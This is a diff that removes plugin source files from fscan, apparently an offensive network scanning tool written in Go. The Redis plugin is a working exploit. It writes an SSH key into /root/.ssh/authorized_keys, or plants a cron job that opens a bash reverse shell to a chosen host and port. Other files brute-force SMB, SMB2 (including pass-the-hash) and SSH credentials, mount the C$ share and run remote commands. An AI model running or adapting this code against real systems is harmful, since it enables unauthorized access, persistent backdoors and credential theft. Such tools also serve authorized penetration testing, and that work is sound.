||||
return flag, err
|
||||
} else {
|
||||
result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
err = Expoilt(realhost, conn)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if flagSsh == true {
|
||||
result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, common.RedisFile)
|
||||
if err != nil {
|
||||
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if flagCron == true {
|
||||
result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost)
|
||||
common.LogSuccess(result)
|
||||
if common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, common.RedisShell)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if writeok {
|
||||
result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost)
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
fmt.Println("[-] Redis ", realhost, "cron write failed", text)
|
||||
}
|
||||
}
|
||||
}
|
||||
err = recoverdb(dbfilename, dir, conn)
|
||||
return err
|
||||
}
|
||||
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
||||
return flag, text, err
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
flag = false
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
return flag, "host error", err
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
func Readfile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func readreply(conn net.Conn) (result string, err error) {
|
||||
size := 5 * 1024
|
||||
buf := make([]byte, size)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result += string(buf[0:count])
|
||||
if count < size {
|
||||
break
|
||||
}
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
var text string
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
}
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return flag, flagCron, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
}
|
||||
return flag, flagCron, err
|
||||
}
|
||||
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text1 = strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readreply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,127 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func Scan(info common.HostInfo) {
|
||||
fmt.Println("start infoscan")
|
||||
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
|
||||
if err != nil {
|
||||
fmt.Println("len(hosts)==0", err)
|
||||
return
|
||||
}
|
||||
lib.Inithttp(common.Pocinfo)
|
||||
var ch = make(chan struct{}, common.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
web := strconv.Itoa(common.PORTList["web"])
|
||||
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
|
||||
if len(Hosts) > 0 || len(common.HostPort) > 0 {
|
||||
if common.NoPing == false && len(Hosts) > 0 {
|
||||
Hosts = CheckLive(Hosts, common.Ping)
|
||||
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
|
||||
}
|
||||
if common.Scantype == "icmp" {
|
||||
common.LogWG.Wait()
|
||||
return
|
||||
}
|
||||
var AlivePorts []string
|
||||
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
|
||||
AlivePorts = NoPortScan(Hosts, info.Ports)
|
||||
} else if common.Scantype == "hostname" {
|
||||
info.Ports = "139"
|
||||
AlivePorts = NoPortScan(Hosts, info.Ports)
|
||||
} else if len(Hosts) > 0 {
|
||||
AlivePorts = PortScan(Hosts, info.Ports, common.Timeout)
|
||||
fmt.Println("[*] alive ports len is:", len(AlivePorts))
|
||||
if common.Scantype == "portscan" {
|
||||
common.LogWG.Wait()
|
||||
return
|
||||
}
|
||||
}
|
||||
if len(common.HostPort) > 0 {
|
||||
AlivePorts = append(AlivePorts, common.HostPort...)
|
||||
AlivePorts = common.RemoveDuplicate(AlivePorts)
|
||||
common.HostPort = nil
|
||||
fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
|
||||
}
|
||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
||||
for _, port := range common.PORTList {
|
||||
severports = append(severports, strconv.Itoa(port))
|
||||
}
|
||||
fmt.Println("start vulscan")
|
||||
for _, targetIP := range AlivePorts {
|
||||
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
|
||||
if common.Scantype == "all" || common.Scantype == "main" {
|
||||
switch {
|
||||
case info.Ports == "135":
|
||||
AddScan(info.Ports, info, &ch, &wg) //findnet
|
||||
if common.IsWmi {
|
||||
AddScan("1000005", info, &ch, &wg) //wmiexec
|
||||
}
|
||||
case info.Ports == "445":
|
||||
AddScan(ms17010, info, &ch, &wg) //ms17010
|
||||
//AddScan(info.Ports, info, ch, &wg) //smb
|
||||
//AddScan("1000002", info, ch, &wg) //smbghost
|
||||
case info.Ports == "9000":
|
||||
AddScan(web, info, &ch, &wg) //http
|
||||
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
|
||||
case IsContain(severports, info.Ports):
|
||||
AddScan(info.Ports, info, &ch, &wg) //plugins scan
|
||||
default:
|
||||
AddScan(web, info, &ch, &wg) //webtitle
|
||||
}
|
||||
} else {
|
||||
scantype := strconv.Itoa(common.PORTList[common.Scantype])
|
||||
AddScan(scantype, info, &ch, &wg)
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, url := range common.Urls {
|
||||
info.Url = url
|
||||
AddScan(web, info, &ch, &wg)
|
||||
}
|
||||
wg.Wait()
|
||||
common.LogWG.Wait()
|
||||
close(common.Results)
|
||||
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
|
||||
}
|
||||
|
||||
var Mutex = &sync.Mutex{}
|
||||
|
||||
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
*ch <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
Mutex.Lock()
|
||||
common.Num += 1
|
||||
Mutex.Unlock()
|
||||
ScanFunc(&scantype, &info)
|
||||
Mutex.Lock()
|
||||
common.End += 1
|
||||
Mutex.Unlock()
|
||||
wg.Done()
|
||||
<-*ch
|
||||
}()
|
||||
}
|
||||
|
||||
func ScanFunc(name *string, info *common.HostInfo) {
|
||||
f := reflect.ValueOf(PluginList[*name])
|
||||
in := []reflect.Value{reflect.ValueOf(info)}
|
||||
f.Call(in)
|
||||
}
|
||||
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := doWithTimeOut(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Username, Password := info.Host, user, pass
|
||||
options := smb.Options{
|
||||
Host: Host,
|
||||
Port: 445,
|
||||
User: Username,
|
||||
Password: Password,
|
||||
Domain: common.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{})
|
||||
go func() {
|
||||
flag, err = SmblConn(info, user, pass, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(time.Duration(common.Timeout) * time.Second):
|
||||
return false, errors.New("time out")
|
||||
}
|
||||
}
|
||||
-172
@@ -1,172 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
)
|
||||
|
||||
func SmbScan2(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
hasprint := false
|
||||
starttime := time.Now().Unix()
|
||||
hash := common.HashBytes
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
PASS:
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
|
||||
if flag2 {
|
||||
hasprint = true
|
||||
}
|
||||
if flag == true {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
result += "hash: " + common.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
var errlog string
|
||||
if len(common.Hash) > 0 {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
}
|
||||
errlog = strings.Replace(errlog, "\n", " ", -1)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if len(common.Hash) > 0 {
|
||||
break PASS
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
||||
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
initiator := smb2.NTLMInitiator{
|
||||
User: user,
|
||||
Domain: common.Domain,
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
initiator.Hash = hash
|
||||
} else {
|
||||
initiator.Password = pass
|
||||
}
|
||||
d := &smb2.Dialer{
|
||||
Initiator: &initiator,
|
||||
}
|
||||
|
||||
s, err := d.Dial(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer s.Logoff()
|
||||
names, err := s.ListSharenames()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !hasprint {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
result += "hash: " + common.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
result = fmt.Sprintf("%v shares: %v", result, names)
|
||||
common.LogSuccess(result)
|
||||
flag2 = true
|
||||
}
|
||||
fs, err := s.Mount("C$")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer fs.Umount()
|
||||
path := `Windows\win.ini`
|
||||
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
flag = true
|
||||
return
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
||||
|
||||
}
|
||||
|
||||
//if info.Path == ""{
|
||||
//}
|
||||
//path = info.Path
|
||||
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//flag = true
|
||||
//_, err = f.Seek(0, io.SeekStart)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
||||
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//flag = true
|
||||
//
|
||||
//_, err = f.Write([]byte("Hello world!"))
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//
|
||||
//_, err = f.Seek(0, io.SeekStart)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
||||
@@ -1,97 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["ssh"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := SshConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if common.SshKey != "" {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
var Auth []ssh.AuthMethod
|
||||
if common.SshKey != "" {
|
||||
pemBytes, err := ioutil.ReadFile(common.SshKey)
|
||||
if err != nil {
|
||||
return false, errors.New("read key failed" + err.Error())
|
||||
}
|
||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||
if err != nil {
|
||||
return false, errors.New("parse key failed" + err.Error())
|
||||
}
|
||||
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
Auth = []ssh.AuthMethod{ssh.Password(Password)}
|
||||
}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: Username,
|
||||
Auth: Auth,
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
flag = true
|
||||
var result string
|
||||
if common.Command != "" {
|
||||
combo, _ := session.CombinedOutput(common.Command)
|
||||
result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||
if common.SshKey != "" {
|
||||
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo))
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password)
|
||||
if common.SshKey != "" {
|
||||
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
|
||||
}
|
||||
@@ -1,249 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
)
|
||||
|
||||
func WebTitle(info *common.HostInfo) error {
|
||||
if common.Scantype == "webpoc" {
|
||||
WebScan.WebScan(info)
|
||||
return nil
|
||||
}
|
||||
err, CheckData := GOWebTitle(info)
|
||||
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
||||
|
||||
if !common.NoWebCan && err == nil {
|
||||
WebScan.WebScan(info)
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
|
||||
if info.Url == "" {
|
||||
switch info.Ports {
|
||||
case "80":
|
||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
||||
case "443":
|
||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||
default:
|
||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
protocol := GetProtocol(host, common.Timeout)
|
||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||
}
|
||||
} else {
|
||||
if !strings.Contains(info.Url, "://") {
|
||||
host := strings.Split(info.Url, "/")[0]
|
||||
protocol := GetProtocol(host, common.Timeout)
|
||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||
}
|
||||
}
|
||||
|
||||
err, result, CheckData := geturl(info, 1, CheckData)
|
||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||
return
|
||||
}
|
||||
|
||||
//有跳转
|
||||
if strings.Contains(result, "://") {
|
||||
info.Url = result
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
err, result, CheckData = geturl(info, 1, CheckData)
|
||||
//有跳转
|
||||
if strings.Contains(result, "://") {
|
||||
info.Url = result
|
||||
err, _, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
//是否访问图标
|
||||
//err, _, CheckData = geturl(info, 2, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||
//flag 1 first try
|
||||
//flag 2 /favicon.ico
|
||||
//flag 3 302
|
||||
//flag 4 400 -> https
|
||||
|
||||
Url := info.Url
|
||||
if flag == 2 {
|
||||
URL, err := url.Parse(Url)
|
||||
if err == nil {
|
||||
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
|
||||
} else {
|
||||
Url += "/favicon.ico"
|
||||
}
|
||||
}
|
||||
req, err := http.NewRequest("GET", Url, nil)
|
||||
if err != nil {
|
||||
return err, "", CheckData
|
||||
}
|
||||
req.Header.Set("User-agent", common.UserAgent)
|
||||
req.Header.Set("Accept", common.Accept)
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if common.Cookie != "" {
|
||||
req.Header.Set("Cookie", common.Cookie)
|
||||
}
|
||||
//if common.Pocinfo.Cookie != "" {
|
||||
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
||||
//} else {
|
||||
// req.Header.Set("Cookie", "rememberMe=1")
|
||||
//}
|
||||
req.Header.Set("Connection", "close")
|
||||
var client *http.Client
|
||||
if flag == 1 {
|
||||
client = lib.ClientNoRedirect
|
||||
} else {
|
||||
client = lib.Client
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err, "https", CheckData
|
||||
}
|
||||
|
||||
defer resp.Body.Close()
|
||||
var title string
|
||||
body, err := getRespBody(resp)
|
||||
if err != nil {
|
||||
return err, "https", CheckData
|
||||
}
|
||||
if !utf8.Valid(body) {
|
||||
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
||||
}
|
||||
CheckData = append(CheckData, WebScan.CheckDatas{Body: body, Headers: fmt.Sprintf("%s", resp.Header)})
|
||||
var reurl string
|
||||
if flag != 2 {
|
||||
title = gettitle(body)
|
||||
length := resp.Header.Get("Content-Length")
|
||||
if length == "" {
|
||||
length = fmt.Sprintf("%v", len(body))
|
||||
}
|
||||
redirURL, err1 := resp.Location()
|
||||
if err1 == nil {
|
||||
reurl = redirURL.String()
|
||||
}
|
||||
result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
|
||||
if reurl != "" {
|
||||
result += fmt.Sprintf(" 跳转url: %s", reurl)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
if reurl != "" {
|
||||
return nil, reurl, CheckData
|
||||
}
|
||||
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
|
||||
return nil, "https", CheckData
|
||||
}
|
||||
return nil, "", CheckData
|
||||
}
|
||||
|
||||
